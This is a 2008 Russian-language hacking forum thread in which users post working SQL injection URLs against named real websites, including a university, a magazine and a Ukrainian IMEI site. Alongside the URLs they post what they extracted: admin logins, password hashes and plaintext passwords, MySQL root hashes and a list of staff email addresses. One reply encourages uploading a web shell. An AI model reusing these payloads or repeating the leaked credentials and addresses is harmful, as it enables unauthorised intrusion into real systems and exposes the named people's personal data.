27.08.2008, 22:27
|
|
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
С нами:
10065986
Репутация:
785
|
|
Сообщение от geforce
Я сам с осетии а сайт этот моей фирмы где я работаю моя задача найти дыру и покозать её! Я её нашел но вот возникает вопрос! Почему не выводит
http://15rus.ru/txt.php?cat=-3+union+select+1,2,3,4,5,6,7,8/*
version()???
http://15rus.ru/txt.php?cat=-3+union+select+0,VERSION(),2,3,4,5,6,7,8/*
|
|
|
28.08.2008, 00:28
|
|
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами:
10885346
Репутация:
2947
|
|
Сообщение от geforce
http://15rus.ru/txt.php?cat=-3+union+select+0,schema_name,2,3,4,5,6,7,8+from+in formation_schema.schemata+limit+1,1/*
Выводит u19256 Это что?
Имха... тебе таблы нужны =\
http://15rus.ru/txt.php?cat=-3+union+select+0,table_name,2,3,4,5,6,7,8+from+inf ormation_schema.tables/*
(Зацени какой красивый вывод  )
Я бы на твоём месте заинтересовался этой:
http://15rus.ru/txt.php?cat=-3+union+select+1,concat(username,char(58),user_pas sword),3,4,5,6,7,8,9+from+phpbb_users/*
Залить шеллтеперь дело техники... кибби круто описал всё... дерзай
|
|
|
|
28.08.2008, 01:43
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
Сообщение от slider
Имха... тебе таблы нужны =\
(Зацени какой красивый вывод )
Я бы на твоём месте заинтересовался этой:
Залить шеллтеперь дело техники... кибби круто описал всё... дерзай Нашёл админа имя и пороль:
Mihael:3fde6bb0541387e4ebdadf7c2ff31123
пороль: 1q2w3e
Не заходит почему?
http://15rus.ru//forum/index.php
|
|
|
|
18.09.2008, 22:38
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
http://www.fuckmachines.de/index.php?page=kategorie&catId=-1+union+select+1,2,concat_ws(0x3a3a,password)+from +admin_user+limit+0,1/*
http://www.fuckmachines.de/admin
не брутится...
Вот что получилось...
admin : 5d2167c87d363636
OHM 2007 : 0643078c5a5c0f3b
Сайт топ гильдии в игре Rfonline.
http://www.chaos-online.ru/?action=read_news&id=-1+union+select+1,2,3--
Последний раз редактировалось R1dex; 18.09.2008 в 22:52..
|
|
|
|
25.09.2008, 19:51
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами:
9644006
Репутация:
3099
|
|
Сообщение от Gema
помогите заюзать http://ktools.net/news_detail.php?nid=' нужно вытащить двиги которые продаются
http://ktools.net/news_detail.php?nid=999+union+select+1,version(),3 ,4,5--
четверка  дело времени а вообще молодой человек тут не место для вопросов (в этом топе)
Последний раз редактировалось xcedz; 25.09.2008 в 19:54..
|
|
|
|
15.11.2008, 13:48
|
|
Новичок
Регистрация: 19.04.2008
Сообщений: 6
С нами:
9506245
Репутация:
34
|
|
Сообщение от [sql]
пр 8 тиц 700
Код:
http://www.kcl.ac.uk/news/events_details.php?year=2008&event_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--
не чего не выводит, но есть другая
Код:
http://www.kcl.ac.uk/news/news_details.php?news_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15,16,17,18,19,20,21,22,23,24,25--&year=2008
к сожелению мало чем помогло)
еду пр 5
Код:
http://www.mfhs.edu/news/news_display.asp?artID=-1+or+1=@@version--
_http://www.kcl.ac.uk/news/news_details.php?news_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,email ,15,16,17,18,19,20,21,22,23,24,25+from+users--&year=2008
4.1.22-standard-log::webteam_newsdev::newsdev@localhost
Next:
waqar.alam@kcl.ac.uk
christopher.saward@kcl.ac.uk
julie.munk@kcl.ac.uk
susan.farrell@kcl.ac.uk
peter.graham@kcl.ac.uk
alex.bevis@kcl.ac.uk
kate.moore@kcl.ac.uk
kate.saunders@kcl.ac.uk
liz.newell@kcl.ac.uk
melanie.gardner@kcl.ac.uk
webnews@kcl.ac.uk
kate.thomas@kcl.ac.uk
префиксов нет ни перед таблицами ни в колонках.
поэтому твоя фраза "к сожелению мало чем помогло)", черезчур поспешна ... кто ищет тот всегда найдет ...
Последний раз редактировалось jjokker; 15.11.2008 в 14:20..
|
|
|
|
02.12.2008, 15:25
|
|
Новичок
Регистрация: 02.12.2008
Сообщений: 1
С нами:
9178967
Репутация:
1
|
|
http://www.old-pro.ru/news.php?id=-3+UNION+SELECT+pass,login,rand_id+from+u47894_emai ka.shop_admin+limit+0,1--
version: 5.0.67-log
login: 131973
pass: eeemaika
http://www.old-pro.ru/news.php?id=-3+UNION+SELECT+login,pass,mail+from+u47894.setting s+limit+0,1--
login: admin
pass: abidqlyv
В админку http://www.old-pro.ru/admin/ почему-то не заходит...
Последний раз редактировалось Delduvat; 02.12.2008 в 15:40..
|
|
|
|
02.12.2008, 21:33
|
|
Познающий
Регистрация: 02.03.2008
Сообщений: 44
С нами:
9574912
Репутация:
64
|
|
PR=7 тИЦ=1300
http://www.popmech.ru/
Код:
http://www.popmech.ru/part/?articleid=-1+union+select+user()--
version() - 4.0.26
user() - popmech@www.popmech.ru
|
|
|
|
17.12.2008, 01:30
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
С нами:
9389186
Репутация:
573
|
|
какой-то сайт мвд украинский попался
Код:
http://imei.org.ua/search.php?imei=123+union+select+concat_ws(0x3a,host,user,password),2,3,4,5,6,7,8+from+mysql.user+limit+0,1--
slava@localhost:imei
Код:
localhost:root:*2679BA488B8CF696590C7C1D51804387761ECA94
|
|
|
|
17.12.2008, 02:35
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
С нами:
10077446
Репутация:
1020
|
|
Сообщение от The matrix
какой-то сайт мвд украинский попался
Код:
http://imei.org.ua/search.php?imei=123+union+select+concat_ws(0x3a,host,user,password),2,3,4,5,6,7,8+from+mysql.user+limit+0,1--
slava@localhost:imei
Код:
localhost:root:*2679BA488B8CF696590C7C1D51804387761ECA94
Вас посодят 
PageRank: 6 тИЦ: 70
http://www.accuracy.org/article.php?articleId=-1+union+select+concat_ws(0x2f,version(),user(),dat abase())--
5.0.67-log/accuracy_w@209.68.4.96/accuracy_accuracy
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
